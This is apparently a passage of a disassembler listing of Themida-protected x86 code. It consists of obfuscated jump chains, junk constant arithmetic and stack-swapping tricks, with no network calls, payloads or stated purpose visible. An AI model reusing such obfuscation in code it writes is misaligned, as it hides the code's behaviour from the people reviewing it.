XREF: sub_562ABA+4B7Dj shr edx, 2 not edx add edx, 8BAC0D50h sub ebx, 281E2778h add ebx, edx add ebx, 281E2778h jmp loc_567A86 ; --------------------------------------------------------------------------- loc_55F7D9: ; CODE XREF: sub_562ABA-E9Fj mov ecx, esp push edx push eax mov eax, 4 jmp loc_566BBB ; --------------------------------------------------------------------------- loc_55F7E7: ; CODE XREF: sub_562ABA+1018j push esi mov esi, 3E9C34EAh jmp loc_570CFE ; --------------------------------------------------------------------------- loc_55F7F2: ; CODE XREF: sub_562ABA-345Fj pop esp jmp loc_5661B8 ; --------------------------------------------------------------------------- loc_55F7F8: ; CODE XREF: sub_562ABA+50F2j sub [edi+24h], ebp mov ebp, [esp+1Ah+var_1A] sub esp, 4 jmp loc_56CA3C ; --------------------------------------------------------------------------- loc_55F806: ; CODE XREF: sub_562ABA+990Aj sub eax, edi push esi mov esi, 6D415DB2h add eax, esi push [esp+22h+var_22] jmp loc_569DA0 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_569452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F826: ; CODE XREF: sub_562ABA+42FAj xor ebp, [esp+26h+var_28+2] xor [esp+26h+var_28+2], ebp xor ebp, [esp+26h+var_28+2] pop esp push ebp sub [esp+26h+var_28+2], 6AFC08E2h jmp loc_56D0D7 ; --------------------------------------------------------------------------- loc_55F83D: ; CODE XREF: sub_562ABA-2CBj add ebp, edx pop edx push ebp push edx mov edx, 36C35838h add [esp+2Ah+var_28+2], edx pop edx pop esi jmp loc_5637CC ; --------------------------------------------------------------------------- loc_55F852: ; CODE XREF: sub_562ABA+FABEj sub ebp, 4A903ECEh sub esp, 4 mov [esp+26h+var_28+2], ecx mov ecx, 52D877B0h xor ebp, ecx pop ecx xor ecx, ebp jmp loc_566EBA ; --------------------------------------------------------------------------- loc_55F86D: ; CODE XREF: sub_562ABA+8D29j mov eax, 96E473Bh shr eax, 5 or eax, 3ECF7FC2h push ecx push edi mov edi, 553161C0h push ebx push 4E38h mov [esp+32h+var_32], eax mov eax, 5939ABFEh mov ebx, eax pop eax push ebp mov ebp, ebx jmp loc_5710BA ; --------------------------------------------------------------------------- loc_55F89A: ; CODE XREF: sub_562ABA+95B5j pop ebp pop dword ptr [esp+0] pop esp mov [esp+26h+var_28+2], edx jmp loc_571E8B ; --------------------------------------------------------------------------- loc_55F8A7: ; CODE XREF: sub_562ABA+A271j mov edx, 3EC53B61h sub edx, eax pop eax shr edx, 1 inc edx xor edx, 0F7453AABh xor ebx, edx pop edx mov eax, ebx jmp loc_5652F8 ; --------------------------------------------------------------------------- loc_55F8C2: ; CODE XREF: sub_562ABA+445Fj mov ebx, [esp+1Eh+var_1E] add esp, 4 pop [esp+1Ah+var_1A] pop esp jmp loc_56ADF5 ; --------------------------------------------------------------------------- loc_55F8D1: ; CODE XREF: sub_562ABA+D4D9j mov ecx, esp push edi mov edi, 0F772A93h add edi, 559A5164h push ebx push ebp mov ebp, 3BE17BA9h mov ebx, ebp pop ebp push esi mov esi, 0CC956333h sub ebx, esi pop esi add edi, ebx pop ebx add edi, 2BA26B97h add ecx, edi jmp loc_56F773 ; --------------------------------------------------------------------------- loc_55F902: ; CODE XREF: sub_562ABA+F3A8j add esp, 4 jmp loc_5703C0 ; --------------------------------------------------------------------------- loc_55F90A: ; CODE XREF: sub_562ABA+EE76j inc esi add esi, 0FFFFFFFFh add esi, 65D93872h jmp loc_5675FC ; --------------------------------------------------------------------------- loc_55F91C: ; CODE XREF: sub_562ABA+CF0Bj mov ebp, 4 add [esp+4], ebp pop ebp pop ebp push edi mov edi, 71716A4Fh shr edi, 1 push edi jmp loc_565760 ; --------------------------------------------------------------------------- loc_55F935: ; CODE XREF: sub_562ABA+7357j pop esi jmp loc_565F26 ; --------------------------------------------------------------------------- loc_55F93B: ; CODE XREF: sub_562ABA-21F5j xor esi, ecx jmp loc_571796 ; --------------------------------------------------------------------------- loc_55F942: ; CODE XREF: sub_562ABA+F828j pop ebp sub [esp+0Ah+var_8+2], 491013F9h sub [esp+0Ah+var_8+2], 52C3233Ah jmp loc_56BDA8 ; --------------------------------------------------------------------------- loc_55F958: ; CODE XREF: sub_562ABA+59D2j mov ax, word ptr [esp+0Ah+var_C+2] sub esp, 4 mov [esp+0], esi jmp loc_560FCD ; --------------------------------------------------------------------------- loc_55F96A: ; CODE XREF: sub_562ABA+5E4j mov [esp+0], edi jmp loc_56201B ; --------------------------------------------------------------------------- loc_55F972: ; CODE XREF: sub_562ABA+584Cj and edx, 64E213D5h sub edx, 978BE71Bh add ecx, edx mov edx, [esp+0] add esp, 4 inc ecx add ecx, 4398561Ch jmp loc_5683AF ; --------------------------------------------------------------------------- loc_55F995: ; CODE XREF: sub_562ABA+19D0j sub ebp, ecx mov ecx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_55EE33 ; --------------------------------------------------------------------------- loc_55F9A5: ; CODE XREF: sub_562ABA+131Bj xchg eax, [esp+6+var_8+2] xchg eax, ecx not ecx xchg eax, ecx jmp loc_561E3E ; --------------------------------------------------------------------------- loc_55F9B1: ; CODE XREF: sub_562ABA+5C38j mov [esp+6+var_8+2], eax push edi push 7E6E5E5Ch pop edi and edi, 5F2920C9h inc edi xor edi, 1F1C2E03h push edi pop eax pop edi mov edx, 41342E4Eh xor edx, eax push [esp+6+var_8+2] mov eax, [esp+0Ah+var_C+2] add esp, 4 jmp loc_56B6B1 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55F9E0 proc near ; CODE XREF: sub_562ABA+264j push bx push bx jmp loc_56A9AE sub_55F9E0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55F9E9: ; CODE XREF: sub_562ABA+35BAj add esp, 4 sub esp, 4 jmp loc_569EC5 ; --------------------------------------------------------------------------- loc_55F9F7: ; CODE XREF: sub_562ABA+77BEj push 2Ch mov eax, [esp+0Ah+var_C+2] push 11E2h mov [esp+0], ecx push esp pop ecx push eax jmp loc_562B12 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55FA0F proc near ; CODE XREF: sub_562ABA+A175j push ebx push edx push 46665A5Bh pop edx sub edx, 12B12CACh mov ebx, edx pop edx jmp loc_564828 sub_55FA0F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55FA25: ; CODE XREF: sub_562ABA+7A3Fj sub esi, 5B213384h mov ebp, esi pop esi or ebp, 0AF472E9h push ebx jmp loc_5702F1 ; --------------------------------------------------------------------------- loc_55FA3A: ; CODE XREF: sub_562ABA-3794j push eax jmp loc_56AE05 ; --------------------------------------------------------------------------- loc_55FA40: ; CODE XREF: sub_562ABA+B5C7j push 5E2Dh mov [esp+16h+var_16], ecx mov ecx, 76F16ACDh dec ecx not ecx jmp loc_563EA4 ; --------------------------------------------------------------------------- loc_55FA55: ; CODE XREF: sub_562ABA+D5C4j not ecx push eax mov eax, 22961F12h shl eax, 3 push ebx mov ebx, 409A317Dh sub ebx, 7D08664Eh xor ebx, 17AE0947h xor ebx, 0C6F8BE48h add eax, ebx jmp loc_5681D7 ; --------------------------------------------------------------------------- loc_55FA7F: ; CODE XREF: sub_562ABA+73A8j xchg ecx, [esp+1Eh+var_1E] pop esp push esi mov esi, esp add esi, 4 jmp loc_56966D ; --------------------------------------------------------------------------- loc_55FA91: ; CODE XREF: sub_562ABA+7384j mov edx, 2DC1881h and edx, 79342ED8h not edx sub edx, 0D8278CDDh jmp loc_561994 ; --------------------------------------------------------------------------- loc_55FAA9: ; CODE XREF: sub_562ABA+A85Aj add edi, esi pop esi add edi, 4 xchg edi, [esp+1Ah+var_1A] pop esp pop [esp+16h+var_16] jmp loc_5667BA ; --------------------------------------------------------------------------- loc_55FABB: ; CODE XREF: sub_562ABA+9D5Ej jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55FAC0: ; CODE XREF: sub_562ABA+5BFDj add edi, esi pop esi xchg edi, [esp+0] mov esp, [esp+0] or [edi+1Ch], eax mov eax, [esp+0] add esp, 4 loc_55FAD2: ; CODE XREF: sub_562ABA+B8A1j push 6761h mov [esp+0], ebx push 5128h jmp loc_56B98A ; --------------------------------------------------------------------------- loc_55FAE4: ; CODE XREF: sub_562ABA+C880j pop eax mov ch, dl pop edx add bl, 93h add bl, ch push eax mov ah, 18h jmp loc_56B8D9 ; --------------------------------------------------------------------------- loc_55FAF5: ; CODE XREF: sub_562ABA+43E5j pop eax push esi sub esp, 4 mov [esp+12h+var_12], esp add [esp+12h+var_12], 4 pop esi jmp loc_56D612 ; --------------------------------------------------------------------------- loc_55FB0D: ; CODE XREF: sub_562ABA+D4A9j push dword ptr [esp+0] jmp loc_561BA7 ; --------------------------------------------------------------------------- loc_55FB15: ; CODE XREF: sub_562ABA-1CB1j mov ebp, 4 add ecx, ebp jmp loc_567707 ; --------------------------------------------------------------------------- loc_55FB21: ; CODE XREF: sub_562ABA-1D17j not esi shl esi, 2 add esi, 18CD514Ch push ecx mov ecx, 52AA291Dh jmp loc_566F67 ; --------------------------------------------------------------------------- loc_55FB37: ; CODE XREF: sub_562ABA-48Aj sub [esp+16h+var_12], 66220272h jmp loc_56384F ; --------------------------------------------------------------------------- loc_55FB44: ; CODE XREF: sub_562ABA+102Aj mov [esp+16h+var_16], ebx push esp push [esp+1Ah+var_1A] pop ebx add esp, 4 jmp loc_56D62A ; --------------------------------------------------------------------------- loc_55FB57: ; CODE XREF: sub_562ABA+D439j mov [esp+16h+var_16], eax push edx jmp loc_5643AB ; --------------------------------------------------------------------------- loc_55FB60: ; CODE XREF: sub_562ABA+2135j mov edi, esp jmp loc_561DF8 ; --------------------------------------------------------------------------- loc_55FB67: ; CODE XREF: sub_562ABA-1EE5j add ecx, 4 jmp sub_571EF9 ; --------------------------------------------------------------------------- loc_55FB72: ; CODE XREF: sub_562ABA+9317j mov ecx, eax pop eax add edi, 6E9E55B7h jmp loc_55EB07 ; --------------------------------------------------------------------------- loc_55FB80: ; CODE XREF: sub_562ABA+66FAj push 1D7Eh mov [esp+1Ah+var_1A], ebx mov ebx, 2 sub edx, ebx jmp loc_560D39 ; --------------------------------------------------------------------------- loc_55FB94: ; CODE XREF: sub_562ABA+58CEj pop eax add eax, edi pop edi mov edi, eax mov eax, [esp+12h+var_12] add esp, 4 push ecx mov ecx, 3CC2787Ah sub edi, ecx pop ecx sub edi, 0F422CFh add edi, ecx add edi, 0F422CFh add edi, 3CC2787Ah pop ecx shr edi, 1 add edi, 314804A9h xor eax, edi jmp loc_565B14 ; --------------------------------------------------------------------------- loc_55FBCD: ; CODE XREF: sub_562ABA+19B3j push edi mov edi, esp jmp loc_55F09C ; --------------------------------------------------------------------------- loc_55FBD5: ; CODE XREF: sub_562ABA+621Ej add edi, 4 jmp loc_560466 ; --------------------------------------------------------------------------- loc_55FBDD: ; CODE XREF: sub_562ABA+D23j mov eax, ebp jmp loc_560FB7 ; --------------------------------------------------------------------------- loc_55FBE4: ; CODE XREF: sub_562ABA+94CAj push edi jmp loc_55F667 ; --------------------------------------------------------------------------- loc_55FBEA: ; CODE XREF: sub_562ABA+F35Cj pop ebx shr ecx, 3 shl ecx, 4 jmp loc_570887 ; --------------------------------------------------------------------------- loc_55FBF6: ; CODE XREF: sub_562ABA-1E47j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+0] jmp loc_568022 ; --------------------------------------------------------------------------- loc_55FC0C: ; CODE XREF: sub_562ABA+FF5j mov edx, esp add edx, 4 push eax mov eax, 4 jmp loc_570124 ; --------------------------------------------------------------------------- loc_55FC1F: ; CODE XREF: sub_562ABA+46F2j pop ebp add esp, 4 push ebp jmp loc_569D60 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_55FC29: ; CODE XREF: sub_55FCA5+8Cj push ecx push esi mov esi, 7D3E44DEh mov ecx, 98F64B6Ah sub ecx, esi jmp loc_56B0AF ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55FC3C: ; CODE XREF: sub_562ABA+6BAEj jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55FC41 proc near ; CODE XREF: sub_562ABA+358Ej var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0055EE73 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005626F2 SIZE 0000000A BYTES push ebp sub esp, 4 jmp loc_5626F2 sub_55FC41 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55FC4A: ; CODE XREF: sub_562ABA+35C9j mov [esp+0], edi jmp loc_56A673 ; --------------------------------------------------------------------------- loc_55FC52: ; CODE XREF: sub_562ABA+5B6Cj xchg edi, [esp+0] mov esp, [esp+0] push 75A6h jmp loc_56F29A ; --------------------------------------------------------------------------- loc_55FC62: ; CODE XREF: sub_562ABA+B088j sub eax, esi add eax, 50A460BFh push [esp+12h+var_12] pop esi sub esp, 4 mov [esp+16h+var_16], ecx jmp loc_56660F ; --------------------------------------------------------------------------- loc_55FC78: ; CODE XREF: sub_562ABA+1DCj add esp, 4 jmp loc_56FC8D ; --------------------------------------------------------------------------- loc_55FC83: ; CODE XREF: sub_562ABA+A9CDj xor esi, edi mov edi, [esp+12h+var_12] jmp loc_56D95B ; --------------------------------------------------------------------------- loc_55FC8D: ; CODE XREF: sub_562ABA+CF21j not eax jmp loc_5718FF ; --------------------------------------------------------------------------- loc_55FC94: ; CODE XREF: sub_562ABA+B7C7j pop esp push eax mov ah, 0E4h jmp loc_565DC7 ; --------------------------------------------------------------------------- loc_55FC9D: ; CODE XREF: sub_562ABA+6F33j sub ebx, ecx pop ecx jmp loc_56C8BE ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55FCA5 proc near ; CODE XREF: sub_562ABA+10A6j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055E5F7 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055E7AD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055FC29 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056024A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005604FE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560E2F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005611F9 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00561B5D SIZE 00000040 BYTES ; FUNCTION CHUNK AT 00561E49 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00562228 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562713 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00571F46 SIZE 00000009 BYTES sub esp, 4 jmp loc_560165 ; --------------------------------------------------------------------------- loc_55FCAD: ; CODE XREF: sub_562ABA+BDFDj mov [esp+0], ecx mov ecx, 6CB21B6Eh push eax mov eax, 934EE491h add ecx, eax push [esp+4+var_4] jmp loc_5604FE ; --------------------------------------------------------------------------- loc_55FCC5: ; CODE XREF: sub_562ABA-C76j pop eax sub esp, 4 mov [esp+0], edx mov edx, esp add edx, 4 push ebx jmp loc_56358E ; --------------------------------------------------------------------------- loc_55FCDA: ; CODE XREF: sub_562ABA+850Cj add edi, 25694FA8h jmp loc_5714C8 ; --------------------------------------------------------------------------- loc_55FCE5: ; CODE XREF: sub_562ABA+A056j neg ecx sub ecx, 0B309AFA2h sub edx, ecx push dword ptr [esp+0] pop ecx add esp, 4 add edx, 159F3590h push ecx mov ecx, 0 add ecx, edx jmp loc_56ACF3 ; --------------------------------------------------------------------------- loc_55FD0C: ; CODE XREF: sub_562ABA+57BDj sub edx, 14002470h push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 add esp, 4 push 447Fh mov [esp+4+var_4], eax mov eax, 5D685C7Ch sub edx, eax pop eax jmp loc_55FC29 ; --------------------------------------------------------------------------- loc_55FD36: ; CODE XREF: sub_562ABA+B49Cj add esp, 4 push edi push esp mov edi, [esp+4+var_4] add esp, 4 jmp loc_57069D ; --------------------------------------------------------------------------- loc_55FD49: ; CODE XREF: sub_562ABA+2ECDj sub ebp, ebx pop ebx xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov word ptr [esp-6+arg_0+2], cx movzx cx, al push cx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55FD62: ; CODE XREF: sub_562ABA+5521j sub edi, 93B3D9A2h mov edx, edi pop edi jmp loc_56CA32 ; --------------------------------------------------------------------------- loc_55FD70: ; CODE XREF: sub_562ABA+24CBj mov edx, 4FD33BDAh jmp loc_56E327 ; --------------------------------------------------------------------------- loc_55FD7A: ; CODE XREF: sub_562ABA+67C8j add dword ptr [esp+0], 4 push dword ptr [esp+0] pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] pop esp mov [esp+0], eax jmp loc_56B531 ; --------------------------------------------------------------------------- loc_55FD9A: ; CODE XREF: sub_562ABA-3ADEj sub esp, 4 mov [esp+4+var_4], eax push 552Bh mov [esp+8+var_8], esi add [esp+8+var_8], 42351DA6h jmp loc_56F7CB ; --------------------------------------------------------------------------- loc_55FDB7: ; CODE XREF: sub_562ABA+1008Cj add edx, 467E41A7h push ecx mov ecx, 27EF401Ch sub edx, ecx pop ecx push ebx mov ebx, 0 add ebx, edx add [ebx], eax pop ebx jmp loc_56D3CB ; --------------------------------------------------------------------------- loc_55FDD6: ; CODE XREF: sub_562ABA-3D69j mov cl, 0 inc cl xor cl, 37h sub cl, 1Dh jmp loc_568D93 ; --------------------------------------------------------------------------- loc_55FDE5: ; CODE XREF: sub_562ABA+A8DBj mov ecx, 21EC4BCBh neg ecx neg ecx jmp loc_566D0E ; --------------------------------------------------------------------------- loc_55FDF3: ; CODE XREF: sub_562ABA-1DF1j shr edx, 1 cmp eax, edx jz loc_562228 push ebx jmp loc_56645A ; --------------------------------------------------------------------------- loc_55FE03: ; CODE XREF: sub_562ABA-45BDj sub esp, 4 jmp loc_56D375 ; --------------------------------------------------------------------------- loc_55FE0E: ; CODE XREF: sub_562ABA+C88Bj add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55FE19: ; CODE XREF: sub_562ABA+B525j add eax, ebx pop ebx push ebx mov ebx, 522F3CEDh add eax, ebx pop ebx sub eax, ebp push ebp mov ebp, 6073F41h shl ebp, 3 or ebp, 76563A6Ch xor ebp, 2450C681h jmp loc_5660F4 ; --------------------------------------------------------------------------- loc_55FE41: ; CODE XREF: sub_562ABA+DB73j and si, 1057h add si, 2422h sub bx, 69FCh jmp loc_561E49 ; --------------------------------------------------------------------------- loc_55FE55: ; CODE XREF: sub_562ABA+2F80j push edx mov dh, 0ADh mov cl, 7Fh add cl, dh pop edx mov dh, cl pop ecx add al, dh mov dx, word ptr [esp-4+arg_0] push ecx jmp loc_56A75F ; --------------------------------------------------------------------------- loc_55FE6C: ; CODE XREF: sub_562ABA-394Ej mov ecx, [esp+0] push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp+4+var_4] pop esp sub edi, ebp add edi, 23E16761h push dword ptr [esp+0] jmp loc_56F3A6 ; --------------------------------------------------------------------------- loc_55FE92: ; CODE XREF: sub_562ABA-206Cj sub eax, 363D0BE5h pop ebp push ebx mov ebx, 3874F6h sub ebx, 3874F2h add eax, ebx mov ebx, [esp+4+var_4] add esp, 4 jmp loc_5634FA ; --------------------------------------------------------------------------- loc_55FEB1: ; CODE XREF: sub_562ABA+873Dj mov [esp+0], ebp jmp loc_571F46 ; --------------------------------------------------------------------------- loc_55FEB9: ; CODE XREF: sub_562ABA+F81Fj add ebp, edi pop edi jmp loc_566363 ; --------------------------------------------------------------------------- loc_55FEC1: ; DATA XREF: Themida_:0055DDD0o lodsd jmp loc_56A383 ; --------------------------------------------------------------------------- loc_55FEC7: ; CODE XREF: sub_562ABA+9F14j mov esi, 153654BDh or esi, 3EB510F3h sub esi, 43474A54h dec esi sub esi, 0DC2AD017h jmp loc_56CD5B ; --------------------------------------------------------------------------- loc_55FEE4: ; CODE XREF: sub_562ABA+A618j mov edi, 4 add [esp+8+var_4], edi pop edi pop [esp+4+var_4] add dword ptr [esp+0], 4 pop esi push edx push 6C2F0999h pop edx shl edx, 1 shl edx, 1 neg edx xor edx, 4F43D998h sub esi, 4A957F73h add esi, edx add esi, 4A957F73h mov edx, [esp+0] jmp loc_56BB04 ; --------------------------------------------------------------------------- loc_55FF22: ; CODE XREF: sub_562ABA+EE01j inc edi or edi, 98852E8h inc edi push 222Dh mov [esp+4+var_4], eax jmp loc_569E36 ; --------------------------------------------------------------------------- loc_55FF37: ; CODE XREF: sub_562ABA+CC8Aj push 6B38h push esp pop [esp+8+var_8] add [esp+4+var_4], 4 pop esi jmp loc_57083A ; --------------------------------------------------------------------------- loc_55FF4D: ; CODE XREF: sub_562ABA+1A89j pop edx add ecx, 77C82406h sub ecx, ebp sub ecx, 77C82406h pop ebp add esi, ecx pop ecx xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] jmp loc_563F27 ; --------------------------------------------------------------------------- loc_55FF71: ; CODE XREF: sub_562ABA+755Fj pop ecx jmp loc_56B87C ; --------------------------------------------------------------------------- loc_55FF77: ; CODE XREF: sub_562ABA-1489j or ecx, ebx pop ebx jmp loc_56AED6 ; --------------------------------------------------------------------------- loc_55FF7F: ; CODE XREF: sub_562ABA+B028j sub ebx, 52F370AAh pop eax xchg ebx, [esp+0] jmp loc_5692F3 ; --------------------------------------------------------------------------- loc_55FF8E: ; CODE XREF: sub_562ABA+BA2Bj push edx push 125Eh mov [esp+8+var_8], ecx mov cl, 34h mov dl, 99h jmp loc_560E2F ; --------------------------------------------------------------------------- loc_55FFA0: ; CODE XREF: sub_562ABA+74B4j pop ebp pop [esp+8+var_8] pop esp jmp loc_56024A ; --------------------------------------------------------------------------- loc_55FFAA: ; CODE XREF: sub_562ABA+8F48j pop edx push 7BF8h mov [esp+4+var_4], eax jmp loc_5611F9 ; --------------------------------------------------------------------------- loc_55FFB8: ; CODE XREF: sub_55F510+14j mov al, 5Fh neg al push ecx jmp loc_569B3F ; --------------------------------------------------------------------------- loc_55FFC2: ; CODE XREF: sub_562ABA-2275j add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_563CF3 ; --------------------------------------------------------------------------- loc_55FFD6: ; CODE XREF: sub_562ABA+32C0j pop ebx add ebx, 4 jmp loc_56BF56 ; --------------------------------------------------------------------------- loc_55FFE2: ; CODE XREF: sub_562ABA+366Bj push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_567301 ; --------------------------------------------------------------------------- word_55FFF6 dw 2489h ; CODE XREF: sub_562ABA+6B8Dj ; --------------------------------------------------------------------------- and al, 50h mov eax, 4 loc_55FFFF: ; DATA XREF: Themida_:0058033Co jmp loc_568643 ; --------------------------------------------------------------------------- loc_560004: ; CODE XREF: sub_562ABA+1275j pop edx jmp loc_56B831 ; --------------------------------------------------------------------------- loc_56000A: ; CODE XREF: sub_562ABA+4C8Dj xchg edi, [esp+0] mov esp, [esp+0] jmp loc_56A241 ; --------------------------------------------------------------------------- loc_560015: ; CODE XREF: sub_562ABA+A8AAj pop ebx add ebx, esi jmp loc_56BC4E ; --------------------------------------------------------------------------- loc_56001D: ; CODE XREF: sub_562ABA+7038j pop esp sub esp, 4 mov [esp+0], ebx not dword ptr [esp+0] push dword ptr [esp+0] pop ebx push edx mov edx, esp jmp loc_56D17D ; --------------------------------------------------------------------------- loc_560036: ; CODE XREF: sub_562ABA+6909j push 2478h mov [esp+4+var_4], edx push ebx mov ebx, 52972A1h jmp loc_56E32F ; --------------------------------------------------------------------------- loc_560049: ; CODE XREF: sub_562ABA+C773j xor ecx, 27D74BFFh add edx, ecx pop ecx add edx, 4 xchg edx, [esp+0] jmp loc_569FEA ; --------------------------------------------------------------------------- loc_560060: ; CODE XREF: sub_562ABA+ABA7j push esp pop esi push ecx mov ecx, 5FCD052Fh or ecx, 764A1534h not ecx jmp loc_56ABD5 ; --------------------------------------------------------------------------- loc_560075: ; CODE XREF: sub_562ABA+8D9Fj sub edx, esi sub edx, 7B0B53C5h mov esi, [esp+0] jmp loc_56DE91 ; --------------------------------------------------------------------------- loc_560085: ; CODE XREF: sub_562ABA+C592j add edi, ebp jmp loc_56FF9F ; --------------------------------------------------------------------------- loc_56008C: ; CODE XREF: sub_562ABA+CD2Dj mov edx, 299A2B3Bh push esi mov esi, 299A2B37h jmp loc_55E5F7 ; --------------------------------------------------------------------------- loc_56009C: ; CODE XREF: sub_562ABA+930Dj add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5600A7: ; CODE XREF: sub_562ABA-1AB6j pop eax sub ebp, 4A43F1Fh add ebp, edi jmp loc_5716E4 ; --------------------------------------------------------------------------- loc_5600B5: ; CODE XREF: sub_562ABA+C6B8j mov edx, 747A69BEh push eax mov eax, 53E01584h push esi mov esi, 34FC4920h jmp loc_56DA45 ; --------------------------------------------------------------------------- loc_5600CB: ; CODE XREF: sub_562ABA+AFD7j sub eax, edi jmp loc_564A86 ; --------------------------------------------------------------------------- loc_5600D2: ; CODE XREF: sub_562ABA-ED2j add esp, 4 and eax, 6C56375Eh and eax, 77AC1A6Bh inc eax sub eax, 36E5AFF3h add esi, eax mov eax, [esp+0] add esp, 4 push ebp push esi jmp loc_562713 ; --------------------------------------------------------------------------- loc_5600F4: ; CODE XREF: sub_562ABA+FBFDj mov ebx, 769870C9h xor ebx, ecx mov ecx, [esp+0] jmp loc_56BD0A ; --------------------------------------------------------------------------- loc_560103: ; CODE XREF: sub_562ABA+FE9Bj push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+4+var_4] pop esp add ebx, 5AE919DFh add ebx, edi sub ebx, 5AE919DFh add eax, [ebx] push dword ptr [esp+0] pop ebx jmp loc_564816 ; --------------------------------------------------------------------------- loc_560132: ; CODE XREF: sub_562ABA+75D6j pop edi add esp, 4 or edx, eax shl edx, 1 push 4C1Ah mov [esp+0], edx mov edx, esp jmp loc_570F60 ; --------------------------------------------------------------------------- loc_560149: ; CODE XREF: sub_562ABA-3BF2j pop esp jmp loc_567266 ; --------------------------------------------------------------------------- loc_56014F: ; CODE XREF: sub_562ABA+E3A0j sub edx, ebp pop ebp add edx, 0FFFFFFFFh add edx, 4A3EACC5h or ecx, edx jmp loc_56995B ; --------------------------------------------------------------------------- loc_560165: ; CODE XREF: sub_55FCA5+3j mov [esp+4+var_4], ebx jmp loc_568A95 sub_55FCA5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56016D: ; CODE XREF: sub_562ABA+2D30j pop esi pop ecx xor ecx, 51E47D27h pop edx xor ecx, ebp xor ebp, ecx jmp loc_56B204 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56017F proc near ; CODE XREF: sub_562ABA+7945j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562250 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572A9B SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], esp push eax mov eax, 4 add [esp+8+var_4], eax pop eax pop [esp+4+var_4] jmp loc_562250 sub_56017F endp ; =============== S U B R O U T I N E ======================================= sub_56019B proc near ; CODE XREF: sub_562ABA+9A9Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp+0Ch+var_C] pop esp pop [esp+8+var_8] mov esp, [esp+4+var_4] mov eax, [esp-8+arg_4] push 6753h mov [esp-4+arg_0], ebp push esp push dword ptr [esp+0] push [esp+4+var_4] pop ebp add esp, 4 jmp loc_56895E sub_56019B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5601DA: ; CODE XREF: sub_562ABA+3015j push 6C88h mov [esp+6+var_8+2], ebp mov ebp, 0AC92250h and edi, ebp pop ebp jmp loc_56D792 ; --------------------------------------------------------------------------- loc_5601EF: ; CODE XREF: sub_562ABA-4F3j pop esp sub eax, 30FF7E8Fh sub eax, ebx jmp loc_568E87 ; --------------------------------------------------------------------------- loc_5601FC: ; CODE XREF: sub_562ABA+7DF4j sub si, 9AD4h mov bp, si pop esi xor bp, 6 xor si, bp pop ebp mov dx, si jmp loc_5715CA ; --------------------------------------------------------------------------- loc_560216: ; CODE XREF: sub_562ABA+FEF2j neg eax push edx jmp loc_566BD5 ; --------------------------------------------------------------------------- loc_56021E: ; CODE XREF: sub_562ABA+E524j add ebx, 4 xchg ebx, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] push esi mov esi, 4 add ebp, esi mov esi, [esp+0] add esp, 4 push 50F1h jmp loc_562C1E ; --------------------------------------------------------------------------- loc_560242: ; CODE XREF: sub_562ABA+15Fj add esp, 4 jmp loc_56C800 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_56024A: ; CODE XREF: 